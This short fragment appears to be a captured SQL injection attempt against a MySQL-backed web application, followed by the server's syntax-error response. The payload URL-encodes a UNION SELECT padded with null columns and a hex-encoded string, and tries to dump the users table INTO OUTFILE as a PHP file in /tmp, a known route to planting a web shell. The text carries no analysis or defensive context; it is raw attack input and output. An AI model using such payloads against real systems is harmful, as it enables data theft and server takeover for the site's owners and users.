-1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,0x66726f6d205b2063617368205d207768697468206c6f7665202929292929,null,null,null,null+from+users+into+outfile(char(39)+/tmp/aa.php+char(39))/*

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(char(39) /tmp/aa.php char(39))/*' at line 1